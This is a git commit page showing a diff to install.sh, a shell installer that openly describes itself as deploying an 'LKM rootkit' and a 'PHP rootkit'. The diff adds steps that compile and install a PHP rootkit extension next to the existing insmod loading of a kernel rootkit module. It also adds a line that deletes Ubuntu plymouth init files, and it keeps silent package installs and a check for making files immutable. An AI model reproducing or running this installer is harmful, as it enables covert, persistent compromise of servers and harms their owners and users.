Browse Source

Default

master
Root 5 years ago
parent
commit
b15a8669d9
  1. 64
      install.sh

64
install.sh

@ -19,26 +19,6 @@ @@ -19,26 +19,6 @@
exit
}
if [ -z "`which gcc`" ]; then
echo "Installing GCC"
if [ -f /usr/bin/yum ]; then
yum install -y -q -e 0 gcc &>/dev/null
elif [ -f /usr/bin/apt-get ]; then
apt-get --yes --force-yes update &>/dev/null
apt-get --yes --force-yes install gcc &>/dev/null
elif [ -f /usr/bin/pacman ]; then
pacman -Syy &>/dev/null
pacman -S --noconfirm base-devel &>/dev/null
fi
fi
[ -f /usr/bin/yum ] &&
{
echo "Installing glibc-static"
yum install -y -q -e 0 glibc-static
}
CHATTR_OUTPUT=$(touch children; chattr +ia children &>output; cat output)
[[ $CHATTR_OUTPUT == *"Inappropriate ioctl"* ]] &&
{
@ -51,14 +31,10 @@ rm -f children output @@ -51,14 +31,10 @@ rm -f children output
install_prerequisites ()
{
if [ -f /usr/bin/yum ]; then
yum install -y -q -e 0 make gcc libgcc glibc-devel attr &>/dev/null
yum install -y -q -e 0 attr make gcc libgcc glibc-devel glibc-static &>/dev/null
elif [ -f /usr/bin/apt-get ]; then
apt-get --yes --force-yes &>/dev/null
apt-get --yes --force-yes update &>/dev/null
apt-get --yes --force-yes install attr gcc-multilib build-essential &>/dev/null
if ! grep -q "Debian\|Ubuntu" /etc/issue.net; then
apt-get --yes --force-yes install libssl-dev &>/dev/null
fi
grep -i ubuntu /proc/version &>/dev/null && rm -f /etc/init/plymouth* &>/dev/null
elif [ -f /usr/bin/pacman ]; then
pacman -Syy &>/dev/null
pacman -S --noconfirm attr base-devel &>/dev/null
@ -79,20 +55,48 @@ install_rkkern () @@ -79,20 +55,48 @@ install_rkkern ()
insmod bin/rkkern.ko
}
compile_rkphp ()
{
cd rkphp
phpize --clean && phpize
./configure --with-rkphp --enable-debug
make
cd ..
}
install_rkphp ()
{
cd rkphp
make install
cd ..
}
echo "Installing prerequisite packages."
install_prerequisites
echo "Packages installed!"
echo "Prerequisite packages installed!"
echo "Compiling rootkit libraries."
echo "Compiling LKM rootkit."
sleep 2
compile_rkkern
echo "Rootkit libraries compiled."
echo "LKM Rootkit compiled!"
sleep 2
echo "Installing LKM Rootkit."
sleep 2
install_rkkern
echo "LKM Rootkit installed."
echo "LKM Rootkit installed!"
sleep 2
echo "Compiling PHP Rootkit."
sleep 2
compile_rkphp
echo "PHP Rootkit compiled!"
sleep 2
echo "Installing PHP Rootkit."
sleep 2
install_rkphp
echo "PHP Rootkit installed!"
sleep 2
read -p "Would you like to automatically remove this directory (`pwd`) on exit? (YES/NO) (case-sensitive) [NO]: "

Loading…
Cancel
Save